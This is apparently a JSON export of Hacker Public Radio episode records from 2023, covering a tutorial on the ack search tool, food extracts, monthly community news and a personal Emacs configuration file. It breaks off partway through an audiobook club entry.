                                                            sudo apt install ack
                                                            \n

                                                            Installing it this way the version I have (and am describing here) is\n3.6.0. There is a new version, 3.7.0 available from the website.

                                                            \n

                                                            The documentation on the website suggests installing it as a Perl\nmodule using CPAN, which is something I will do soon I\nthink.

                                                            \n

                                                            Perl regular expressions

                                                            \n

                                                            These are very sophisticated.

                                                            \n

                                                            A project to convert the Perl regular expression capabilities into a\nportable library form was undertaken by Philip Hazel of Cambridge\nUniversity in 1997, and was called Perl Compatible Regular\nExpressions or PCRE.

                                                            \n

                                                            Philip Hazel was the originator of the exim mail\ntransfer agent (MTA, or mail server), and wanted to use PCRE within\nit.

                                                            \n

                                                            Since then PCRE (and later PCRE2) is the way regular expressions are\nimplemented in a lot of other software, which shows how widespread use\nof the Perl RE has become.

                                                            \n

                                                            The ack documentation refers to the Perl manual for\ndetails of this type of regular expression, and to a tutorial, if you\nwish to gain a deeper understanding.

                                                            \n

                                                            It should be noted that GNU grep can use Perl compatible\nregular expressions when matching lines in files, but this feature is\nmarked as experimental.

                                                            \n

                                                            File types

                                                            \n

                                                            The ack command has rules for recognising file types. It\ndoes this by looking at the name extensions ('.html' or\n'.py' for example), and in some cases by examining their\ncontents. The complete list of types can be found by running:

                                                            \n
                                                            ack --help-types
                                                            \n

                                                            … or, for a more detailed but less readable list:

                                                            \n
                                                            ack --dump
                                                            \n

                                                            Some examples are:

                                                            \n
                                                              \n
                                                            • cc for C files
                                                            • \n
                                                            • haskell for Haskell files
                                                            • \n
                                                            • lua for Lua files
                                                            • \n
                                                            • python for Python files
                                                            • \n
                                                            • shell for Bash, and other shell command files
                                                            • \n
                                                            \n

                                                            These names can be used with the options -t TYPE and\n--type=TYPE and also by simply preceding them with two\ndashes (--TYPE). There are also ways of requesting files\nnot of a given type: -T TYPE, --type=noTYPE\nand --noTYPE.

                                                            \n

                                                            To check files in the current directory of type shell an\nack command like the following might be used and the\nfollowing type of output produced:

                                                            \n
                                                            $ ack --shell declare\nBash_snippet__using_coproc_with_SQLite/examples/coproc_test.sh\n11:declare -a com=('date +%F' 'whoami' 'id' 'echo "$BASH_VERSION"'
                                                            \n

                                                            Note that ack reports the file path and numbered lines\nwithin it that match.

                                                            \n

                                                            You can add your own file types to ack. There is a\nconfiguration file called .ackrc in which new types can be\ndeclared. See below for more information.

                                                            \n

                                                            The file type feature is one that makes me use ack again\nand again.

                                                            \n

                                                            The .ackrc file

                                                            \n

                                                            This file contains “command-line options that are prepended to\nthe command line before processing”.

                                                            \n

                                                            It’s a useful way to add new types (or even modify existing\nones).

                                                            \n

                                                            It can be located in a number of places. Mine is\n~/.ackrc with other configuration files in my home\ndirectory.

                                                            \n

                                                            It’s possible to generate a new .ackrc with the option\n--create-ackrc. This saves all the default settings in the\nfile which makes it simple to adjust anything you need to change.

                                                            \n

                                                            As an example of a change, I have Markdown files with the extension\n.mkd. However, by default ack only recognises\n.md, and .markdown. To add .mkd\nto the list I can add one of the following to the\n.ackrc:

                                                            \n
                                                            # Either add `.mkd` to the list\n--type-add=markdown:ext:mkd\n# or replace the list with a new one\n--type-set=markdown:ext:md,mkd,markdown
                                                            \n

                                                            Note that lines beginning with # are comments. Note also\nthat --type-add and --type-set have to be\nfollowed by an = sign, not a space in this file.

                                                            \n

                                                            If you examine the settings with ack --dump you will see\nthe default command and the one you have added. If you use\nack --help-types you will see the new extension added to\nthe default list.

                                                            \n
                                                            markdown     .md .markdown; .mkd
                                                            \n

                                                            If I use this to search files in the directory where I keep my HPR\nepisodes I see:

                                                            \n
                                                            $ ack --markdown 'inner ear'\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd\n24:became fascinated by the structure of the human [inner ear][2], and studied it\n28:The human inner ear performs two major functions:\n.\n.\n.
                                                            \n

                                                            Quick review of selected\nack options

                                                            \n

                                                            Usage

                                                            \n

                                                            The ack command is designed to be similar in as many\nrespects as possible to grep. The command is used in\ngeneral as follows:

                                                            \n
                                                            ack [OPTION]... PATTERN [FILES OR DIRECTORIES]
                                                            \n

                                                            The [OPTION] part denotes any options (some discussed\nbelow) and PATTERN is the PCRE search pattern. There are\nsome cases where this must be omitted - such as when files of a\nparticular type are being listed. See example 1 below for such a\ncase.

                                                            \n

                                                            In some cases a particular file is being searched, or all files in\ncertain directories, and that is what\n[FILES OR DIRECTORIES] denotes.

                                                            \n

                                                            The full documentation for ack can be seen with the\nusual man ack command, and also using\nack --man. There is also an option --help\nwhich gives a summary of all of the available options.

                                                            \n

                                                            Options

                                                            \n

                                                            There are many options specific to ack and some in\ncommon with grep, and we’ll look at just a few here:

                                                            \n
                                                              \n
                                                            • -i - like grep this makes the matched\npattern case insensitive.

                                                            • \n
                                                            • -f - Only print the files that would be searched,\nwithout actually doing any searching. See example 1 below.

                                                            • \n
                                                            • -g - Same as -f, but only select files whose names\nmatch PATTERN. This interacts with file type searches like\n--html, so beware.

                                                            • \n
                                                            • -l - reports the file names which contain matches\nfor a given pattern

                                                            • \n
                                                            • -L - reports the file names which do not\ncontain matches for a given pattern

                                                            • \n
                                                            • -c - reports file names and the number of matches;\nused on its own it reports all files, those that match and\nthose that do not. If used with -l then you only see the\nnames of file that have matches, as well as a count of matches. See\nexample 2 below.

                                                            • \n
                                                            • -w - forces the search pattern to match only whole\nwords. See example 3 below. (Note: there is an equivalent in GNU grep,\nwhich I had not checked when I recorded the audio).

                                                            • \n
                                                            \n

                                                            Examples

                                                            \n

                                                            1. Find all Markdown\nfiles in a directory

                                                            \n

                                                            Using the -f option:

                                                            \n
                                                            $ ack --markdown -f Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd
                                                            \n

                                                            Using the -g option:

                                                            \n
                                                            $ ack -g '\.mkd$' Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd
                                                            \n

                                                            2. Names\nof files that contain a match, with a match count

                                                            \n

                                                            Using the -l and -c options:

                                                            \n
                                                            $ ack --markdown -lci '\bear\b'\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6
                                                            \n

                                                            The sequence '\b' in Perl regular expressions is a\nboundary such as a word boundary. So the pattern is looking for the word\n'ear' as opposed to the characters 'ear' (as\nin 'pearl' for example).

                                                            \n

                                                            Note how the single-letter options -l, -c\nand -i can be concatenated.

                                                            \n

                                                            3. Searching for words in\na simpler way

                                                            \n

                                                            In example 2 the \b boundaries ensured the pattern\nmatched words rather than letter sequences. This can be simplified by\nusing the -w option:

                                                            \n
                                                            $ ack --markdown -lci -w 'ear'\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • The ack website:\n
                                                            • \n
                                                            \n\n\n
                                                            \n","hostid":225,"series":11,"explicit":1,"license":"CC-BY-SA","tags":"search,grep,regular expression,Perl","version":0,"downloads":0,"valid":1}, {"id":3912,"date":"2023-08-01","title":"Emergency Show: Biltong and Rooibos","duration":233,"summary":"Shane brings us a taste of South Africa with some local tea and jerky","notes":"

                                                            Biltong
                                                            \nFrom Wikipedia, the free encyclopedia

                                                            \n\n

                                                            Biltong is a form of dried, cured meat which originated in Southern African countries (South Africa, Zimbabwe, Malawi, Namibia, Botswana, Eswatini and Zambia). Various types of meat are used to produce it, ranging from beef to game meats such as ostrich or kudu. The cut may also vary being either fillets of meat cut into strips following the grain of the muscle, or flat pieces sliced across the grain. It is related to beef jerky; both are spiced, dried meats; however the typical ingredients, taste, and production processes may differ.

                                                            The word \"biltong\" is from the Dutch bil (\"buttock\") and tong (\"strip\" or \"tongue\").

                                                            \n\n
                                                            \n\n

                                                            Rooibos
                                                            \nFrom Wikipedia, the free encyclopedia

                                                            \n\n

                                                            \nRooibos, meaning \"red bush\"), or Aspalathus linearis, is a\nbroom\n-like member of the plant family\nFabaceae\n that grows in\nSouth Africa\n's\nfynbos\n biome.\n\n

                                                            \n

                                                            The leaves are used to make a\nherbal tea\n that is called\nrooibos\n (especially in Southern Africa),\nbush tea\n,\nred tea\n, or\nredbush tea\n (predominantly in Great Britain).\n\n

                                                            \n

                                                            The tea has been popular in\nSouthern Africa\n for generations, and since the 2000s has gained popularity internationally.\nThe tea has an earthy flavour that is similar to\nyerba mate\n or\ntobacco\n.\n

                                                            \n

                                                            Rooibos was formerly classified as\n\nPsoralea\n\n but is now thought to be part of\n\nAspalathus\n\n following\nDahlgren\n (1980).\nThe\nspecific name\n of\nlinearis\n was given by\nBurman\n (1759)\nfor the plant's linear growing structure and needle-like leaves.\n\n

                                                            \n

                                                            \n\n\n\n

                                                            \n\n","hostid":250,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"South Africa,Biltong,Rooibos,Afrikaans","version":0,"downloads":0,"valid":1}, {"id":3913,"date":"2023-08-02","title":"Lurking Prion Q and A","duration":316,"summary":"Lurking Prion answers questions about his name, former career field as an MM","notes":"

                                                            Add to reserve queue

                                                            \n

                                                            Lurking Prion answers questions about his name, former career field as an Machinist's mate, and breaks down a short bio of his security path thus far.

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"bio,backgrown,questions,mm,Machinist's mate","version":0,"downloads":0,"valid":1}, {"id":3914,"date":"2023-08-03","title":"how to deal with blisters","duration":262,"summary":"a technique my father taught me, for dealing with blisters","notes":"

                                                            Many years ago, my father taught me how to deal with blisters using a\nneedle and thread.

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"first aid","version":0,"downloads":0,"valid":1}, {"id":3915,"date":"2023-08-04","title":"Why the hell is my audio clipping?","duration":802,"summary":"MrX has audio that is clipping but will he be able to fix it?","notes":"

                                                            This is an emergency show as we are short of shows. I was going to do\nthis show anyway as I noticed my audio was clipping on the last few\nshows I sent in yet I didn't notice it on the files I sent to HPR.

                                                            \n

                                                            In this episode I waffle a bit and read out some of the stuff on the\nHPR site about giving shows. During the recording I introduce increasing\namounts of attenuation each decrease in volume signified by a gong. I\nhope this will allow me to stop the clipping from my audio.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio, podcasting, Audacity","version":0,"downloads":0,"valid":1}, {"id":3916,"date":"2023-08-07","title":"HPR Community News for July 2023","duration":4533,"summary":"HPR Volunteers talk about shows released and comments posted in July 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n HopperMCS, \n Reto.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3891Mon2023-07-03HPR Community News for June 2023HPR Volunteers
                                                            3892Tue2023-07-04Emacs package curation, part 1dnt
                                                            3893Wed2023-07-05Game card design resourcesKlaatu
                                                            3894Thu2023-07-06The Page 42 Show: Ugly News Week, Show's Epoch!HopperMCS
                                                            3895Fri2023-07-07What's in my backpackStache_AF
                                                            3896Mon2023-07-10The Brochs of GlenelgAndrew Conway
                                                            3897Tue2023-07-11HPR AudioBook Club 22 - Murder at Avedon HillHPR_AudioBookClub
                                                            3898Wed2023-07-12The Oh No! News.Some Guy On The Internet
                                                            3899Thu2023-07-13Repair corrupt video files for free with untrucPaul Quirk
                                                            3900Fri2023-07-14Preparing Podcasts for ListeningAhuka
                                                            3901Mon2023-07-17Time Managmentoperat0r
                                                            3902Tue2023-07-18Introduction to a new series on FFMPEGMr. Young
                                                            3903Wed2023-07-19Why I don't love systemd (yet)deepgeek
                                                            3904Thu2023-07-20How to make friendsKlaatu
                                                            3905Fri2023-07-21Presenting Fred Blackfolky
                                                            3906Mon2023-07-24The Oh No! News.Some Guy On The Internet
                                                            3907Tue2023-07-25My introduction showReto
                                                            3908Wed2023-07-26Emacs package curation, part 2dnt
                                                            3909Thu2023-07-27Permission tickets. one_of_spoons
                                                            3910Fri2023-07-28Playing Civilization IIAhuka
                                                            3911Mon2023-07-31An overview of the 'ack' commandDave Morriss
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 20 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3876\n(2023-06-12) \"Recording An Episode For Hacker Public Radio\"\nby Ryuno-Ki.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nReto on 2023-07-01:\n\"Good information about recording\"

                                                              \n
                                                            • hpr3883\n(2023-06-21) \"Emergency Show: How to demonstrate the power of condensing steam\"\nby Mike Ray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndnt on 2023-07-15:\n\"Clap!\"

                                                              \n
                                                            • hpr3889\n(2023-06-29) \"comm - compare two sorted files line by line\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nReto on 2023-07-08:\n\"KDirStat is dead, long live QDirStat!\"
                                                              • \n
                                                              • \nComment 2:\nKen Fallon on 2023-07-12:\n\"QDirstat is nice but I meant kdiff3\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 16 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr3891\n(2023-07-03) \"HPR Community News for June 2023\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnorrist on 2023-07-03:\n\"solocast updates\"
                                                              • Comment 2:\nKevin O'Brien on 2023-07-04:\n\"My truck\"

                                                              \n
                                                            • hpr3892\n(2023-07-04) \"Emacs package curation, part 1\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2023-07-05:\n\"I love this topic\"
                                                              • Comment 2:\ndnt on 2023-07-11:\n\"Do it!\"

                                                              \n
                                                            • hpr3894\n(2023-07-06) \"The Page 42 Show: Ugly News Week, Show's Epoch!\"\nby HopperMCS.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-07-08:\n\"I loved the show\"

                                                              \n
                                                            • hpr3896\n(2023-07-10) \"The Brochs of Glenelg\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3900\n(2023-07-14) \"Preparing Podcasts for Listening\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHipstre on 2023-07-14:\n\"Limiter/GPodder\"
                                                              • Comment 2:\nEugene on 2023-07-16:\n\"No need for podcast preprocessing\"
                                                              • Comment 3:\nKevin O'Brien on 2023-07-17:\n\"Sansa Clip+\"

                                                              \n
                                                            • hpr3901\n(2023-07-17) \"Time Managment\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2023-07-18:\n\"aCalendar on Android\"

                                                              \n
                                                            • hpr3902\n(2023-07-18) \"Introduction to a new series on FFMPEG\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3903\n(2023-07-19) \"Why I don't love systemd (yet)\"\nby deepgeek.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3904\n(2023-07-20) \"How to make friends\"\nby Klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2023-07-29:\n\"Friends\"
                                                              • Comment 2:\nBeeza on 2023-08-02:\n\"Frienships\"

                                                              \n
                                                            • hpr3909\n(2023-07-27) \"Permission tickets. \"\nby one_of_spoons.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2023-07-29:\n\"Great show, keep em coming!\"

                                                              \n
                                                            • hpr3910\n(2023-07-28) \"Playing Civilization II\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2023-07-29:\n\"Game mechanics\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-July/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            The HPR Static Site

                                                            \n

                                                            As mentioned in the last Community News episode, the HPR database and\nwebsite was moved to a new server, and the static site generator written\nby Rho`n was used to generated the non-interactive part of\nthe website.

                                                            \n

                                                            Since then, there has been a process of adapting the software to the\nnew configuration. Unfortunately Rho`n has not been\navailable during this process, but we are gradually learning our way\naround his excellent software and making changes to suit our needs.

                                                            \n

                                                            If you spot any problems or have ideas for new features, please raise\nissues on the Gitea repository at: https://repo.anhonesthost.net/rho_n/hpr_generator/issues.

                                                            \n

                                                            Reserve Queue

                                                            \n

                                                            A policy change is required in the use of the reserve queue. When\nthere are unfilled slots between 5 and 7 days in the future, episodes in\nthis queue will be used to fill them.

                                                            \n

                                                            This extra time is required because of the time it can take to\nprocess a show and load it to the Internet Archive.

                                                            \n

                                                            Bram Moolenaar, author of Vim\ndies

                                                            \n

                                                            There was an announcement from Bram's family today (2023-08-05) that\nhe died on August 3rd 2023 from a medical problem that\nworsened recently.

                                                            \n

                                                            Bram\nMoolenar's page on Wikipedia

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3917,"date":"2023-08-08","title":"Response to \"Permission Tickets\" by oneofspoons","duration":408,"summary":"Hopefully a useful provocation, in response to a recent intriguing show by another HPR host","notes":"

                                                            A response show to oneofspoons' hpr3909 ::\nPermission Tickets\".

                                                            \n

                                                            Reference: Harper's\nPodcast -The Writers’ Strike, or: the Writers Strike

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"crypto","version":0,"downloads":0,"valid":1}, {"id":3918,"date":"2023-08-09","title":"Emacs package curation, part 3","duration":864,"summary":"Let's go through every single package installed in my Emacs configuration. The last one.","notes":"

                                                            We discuss the packages installed in the second of three files that\nmake up my emacs config.

                                                            \n

                                                            Since recording, I pulled in some EXWM (the Emacs X Window Manager,\nthat's right), even though I'm not actually using it, I'm still using\nstumpWM.

                                                            \n

                                                            I have also added pass, the password manager, khardel, an emacs\npackage for the khard CLI address book application.

                                                            \n

                                                            I also moved (server-start) to this file, so that it'll only happen\nwhen I'm on linux.

                                                            \n
                                                            ;;; init-extra.el --- Extra init stuff\n;;; Commentary:\n;;; Stuff just for my personal laptop, not for my work laptop or termux, for example.\n\n;;; Code:\n\n;;;;;;;;;;;;;;;;\n;;; org-roam ;;;\n;;;;;;;;;;;;;;;;\n\n(use-package org-roam\n  :demand t\n  :straight (:host github :repo "org-roam/org-roam"\n             :files (:defaults "extensions/*"))\n  :custom (org-roam-mode-sections (list #'org-roam-backlinks-section\n                                        #'org-roam-reflinks-section\n                                        #'org-roam-unlinked-references-section))\n  :init (setq org-roam-directory "~/org/roam/"\n              org-roam-capture-templates\n                 '(("o" "outline" plain\n                     "%?"\n                     :if-new\n                     (file+head "${slug}.org" "#+title: ${title}\\n#+filetags: :outline:\\n")\n                     :immediate-finish t\n                     :unnarrowed t)\n                  ("r" "reference" plain "%?"\n                     :if-new\n                     (file+head "${slug}.org" "#+title: ${title}\\n")\n                     :immediate-finish t\n                     :unnarrowed t)\n                  ("m" "memo" entry "* ${title}\\n%?"\n                     :if-new\n                     (file "memos.org")\n                     :immediate-finish t\n                     :unnarrowed t)))\n  :bind (("C-c n l" . org-roam-buffer-toggle)\n         ("C-c n f" . org-roam-node-find)\n         ("C-c n g" . org-roam-graph)\n         ("C-c n i" . org-roam-node-insert)\n         ("C-c n c" . org-roam-capture)\n         ;; Dailies\n         ("C-c n j" . org-roam-dailies-capture-today))\n  :config\n  ;; If you're using a vertical completion framework, you might want a more informative completion interface\n  (setq org-roam-node-display-template (concat "${title:*} " (propertize "${tags:10}" 'face 'org-tag)))\n  (org-roam-db-autosync-mode)\n  ;; If using org-roam-protocol\n  (require 'org-roam-protocol))\n\n;; citations\n(use-package citar\n  :after org-roam\n  :custom (org-cite-insert-processor 'citar)\n          (org-cite-follow-processor 'citar)\n          (org-cite-activate-processor 'citar)\n          (citar-bibliography '("~/org/biblio.bib"))\n          (citar-notes-paths '("~/org/roam"))\n          (citar-file-note-extensions '("org"))\n  :hook (LaTeX-mode . citar-capf-setup)\n        (org-mode . citar-capf-setup)\n  :bind (("C-c n b" . #'citar-open-notes)\n          :map org-mode-map :package org\n          ("C-c b" . #'org-cite-insert)))\n\n;; view your org-roam notes on a map\n(use-package org-roam-ui\n  :after org-roam\n  :custom (org-roam-ui-sync-theme t)\n          (org-roam-ui-follow t)\n          (org-roam-ui-update-on-save t)\n          (org-roam-ui-open-on-start t))\n\n;; archive web pages in org attachments\n(use-package org-board\n  :after org\n  :custom (org-board-default-browser #'browse-url)\n          (org-board-property "ROAM_REFS")\n  :bind (:map org-mode-map\n          ("C-c B a" . org-board-archive)\n          ("C-c B o" . org-board-open)\n          ("C-c B D" . org-board-delete-all)))\n\n;;;;;;;;;;;;;;;\n;;; Writing ;;;\n;;;;;;;;;;;;;;;\n\n; something like grammarly, but open source\n(use-package langtool)\n\n;; better than docview, for pdf\n(use-package pdf-tools)\n\n;; annotating docs in org files\n(use-package org-noter)\n\n;; epub\n(use-package nov\n :mode ("\\\\.epub$" . nov-mode))\n\n;;; Invoke quick emacs windows to edit anything anywhere.\n;;; bind a key in xorg to ~emacsclient -c (emacs-everywhere)~\n(use-package emacs-everywhere)\n\n;;;;;;;;;;;;;;\n;;; Auctex ;;;\n;;;;;;;;;;;;;;\n(straight-use-package '( auctex\n  :host nil :repo "https://git.savannah.gnu.org/git/auctex.git"\n  :pre-build (("./autogen.sh")\n                  ("./configure" "--without-texmf-dir" "--with-lispdir=.")\n                  ("make"))))\n\n  (setq TeX-data-directory (expand-file-name "straight/repos/auctex" user-emacs-directory)\n      TeX-lisp-directory TeX-data-directory)\n\n  (eval-after-load 'info\n      '(add-to-list 'Info-additional-directory-list\n          (expand-file-name "straight/repos/auctex/doc" user-emacs-directory)))\n  (load (expand-file-name "straight/repos/auctex/auctex.el" user-emacs-directory) nil t t)\n  (load (expand-file-name "straight/repos/auctex/preview-latex.el" user-emacs-directory) nil t t)\n\n(use-package evil-tex)\n\n(use-package latex-preview-pane\n  :custom (latex-preview-pane-use-frame t))\n\n(use-package adaptive-wrap)\n\n;;; END AUCTEX ;;;\n\n;;;;;;;;;;;;;;;;;;;\n;;; Programming ;;;\n;;;;;;;;;;;;;;;;;;;\n\n;; downloading and viewing Dash documentation files\n(use-package dash-docs\n  :init (defun elisp-doc ()\n            (setq-local consult-dash-docsets '("Emacs Lisp")))\n        (add-hook 'emacs-lisp-mode-hook 'elisp-doc)\n  :custom (dash-docs-docsets-path (expand-file-name "docsets" user-emacs-directory))\n          (dash-docs-browse-func 'eww))\n\n(use-package consult-dash\n  :straight (:host codeberg :repo "rahguzar/consult-dash")\n  :bind (("M-s d" . consult-dash))\n  :after consult\n  :config\n  ;; Use the symbol at point as initial search term\n  (consult-customize consult-dash :initial (thing-at-point 'symbol)))\n\n;;;;;;;;;;;;;\n;;; Email ;;;\n;;;;;;;;;;;;;\n\n(use-package notmuch\n  :commands notmuch\n  :config (defun notmuch-show-view-html ()\n            "Open the text/html part of the current message using\n            `notmuch-show-view-part'. From https://emacs.stackexchange.com/a/63457"\n            (interactive)\n            (save-excursion\n                (goto-char (prop-match-beginning\n                            (text-property-search-forward\n                            :notmuch-part "text/html"\n                            (lambda (value notmuch-part)\n                                (equal (plist-get notmuch-part :content-type)\n                            value)))))\n            (notmuch-show-view-part)))\n          ;; Enable link to message via org-store-link\n          (load-file (expand-file-name "org-notmuch.el" user-emacs-directory))\n          (require 'org-notmuch)\n  :bind (:map notmuch-show-mode-map\n              (". v" . notmuch-show-view-html))\n  :custom (notmuch-draft-folder "local/drafts")\n          (notmuch-search-oldest-first nil)\n          (notmuch-fcc-dirs "fastmail/sent")\n          (notmuch-tagging-keys '(("r" ("+receipt" "-inbox") "Receipt")))\n          (sendmail-program (executable-find "msmtp"))\n          (message-sendmail-f-is-evil t)\n          (message-sendmail-extra-arguments '("--read-envelope-from")))\n\n(use-package khardel\n  :after notmuch\n  :bind (:map notmuch-message-mode-map\n         ("C-c M-k" . khardel-insert-email)))\n\n;;;;;;;;;;;;\n;;; PASS ;;;\n;;;;;;;;;;;;\n\n(use-package pass)\n\n;;;;;;;;;;;;\n;;; EXWM ;;;\n;;;;;;;;;;;;\n\n(use-package xelb\n  :disabled t\n  :straight (:host github :repo "ch11ng/xelb"))\n\n(use-package exwm\n  :disabled t\n  :straight (:host github :repo "ch11ng/exwm")\n  :defer t\n  :config (require 'exwm-systemtray)\n          (require 'exwm-randr)\n          (setq xcb:connection-timeout 20)\n          (exwm-systemtray-enable)\n          (add-hook 'exwm-update-class-hook\n                  (lambda ()\n                  (exwm-workspace-rename-buffer exwm-class-name)))\n          (add-hook 'exwm-randr-screen-change-hook\n                    (lambda ()\n                      (start-process-shell-command\n                       "autorandr" nil "autorandr -c")))\n          (defun exwm-randr-mobile()\n          "Load a xrandr profile to use only the laptop screen."\n          (interactive)\n          (start-process-shell-command "xrandr" nil "xrandr --output eDP-1 --auto --output DP-1 --off"))\n          (defun exwm-randr-docked()\n          "Load a xrandr profile to use only the connected external screen DP-1."\n          (interactive)\n          (start-process-shell-command "xrandr" nil "xrandr --output eDP-1 --off --output DP-1 --auto"))\n          (defun exwm-randr-chair()\n          "Load a xrandr profile to use both the laptop screen and the connected screen."\n          (interactive)\n          (start-process-shell-command "xrandr" nil "xrandr --output HDMI-1 --auto --scale 1.3 --output eDP-1 --off"))\n          (defun exwm-randr-all()\n          "Load a xrandr profile to use both the laptop screen and the connected screen."\n          (interactive)\n          (start-process-shell-command "xrandr" nil "xrandr --output eDP-1 --primary --output DP-1 --above eDP-1")\n          (setq exwm-randr-workspace-output-plist '(0 "eDP-1" 1 "DP-1"))\n          )\n          (exwm-randr-enable)\n    :custom (exwm-input-global-keys\n              `((,(kbd "s-r") . exwm-reset)\n                (,(kbd "s-w") . exwm-workspace-switch)\n                (,(kbd "s-a") . exwm-randr-all)\n                (,(kbd "s-c") . exwm-randr-chair)\n                (,(kbd "s-d") . exwm-randr-docked)\n                (,(kbd "s-m") . exwm-randr-mobile)\n                (,(kbd "s-k") . exwm-input-release-keyboard)\n                (,(kbd "s-f") . exwm-layout-toggle-fullscreen)\n                (,(kbd "s-p") . pass)\n                (,(kbd "s-t") . exwm-workspace-switch-to-buffer)\n                (,(kbd "s-&") . (lambda (command)\n                                       (interactive (list (read-shell-command "$ ")))\n                                       (start-process-shell-command command nil command)))\n                ,@(mapcar (lambda (i)\n                       `(,(kbd (format "s-%d" i)) .\n                           (lambda ()\n                               (interactive)\n                               (exwm-workspace-switch-create ,i))))\n                     (number-sequence 0 9))\n                ))\n          )\n\n;; start emacs server\n(server-start)\n\n;;; END ;;;\n\n(provide 'init-extra)\n;;; init-extra.el ends here
                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"emacs,elisp","version":0,"downloads":0,"valid":1}, {"id":3919,"date":"2023-08-10","title":"How I hacked my voice","duration":959,"summary":"Tuula talks about what she's doing to change her voice","notes":"

                                                            Resource mentioned in the episode: https://www.youtube.com/@TransVoiceLessons

                                                            \n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"voice, trans","version":0,"downloads":0,"valid":1}, {"id":3920,"date":"2023-08-11","title":"RV Trip 2022-2023: Southeast US","duration":862,"summary":"Step one for a months-long RV trip is the planning.","notes":"

                                                            In this episode we look at the planning process for our second RV\ntrip. Last year we toured the Southwest US, but we don't like to repeat\nourselves. So this time we decided to tour the Southeast US. This not\nonly let us visit a much different part of the country, but it also\nallowed us to go back to our plan to visit some NASA facilities.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel planning","version":0,"downloads":0,"valid":1}, {"id":3921,"date":"2023-08-14","title":"HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)","duration":6516,"summary":"In this episode the HPR Audiobook Club discusses the first three books of John Carter of Mars","notes":"In\nthis episode the HPR Audiobook Club discusses the audiobooks A\nPrincess of Mars, The\nGods of Mars, and The\nWarlord of Mars by Edgar Rice Burroughs\n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • Burroughs is kind of verbose, which is symbolic of the time period\nin which it was written.
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n
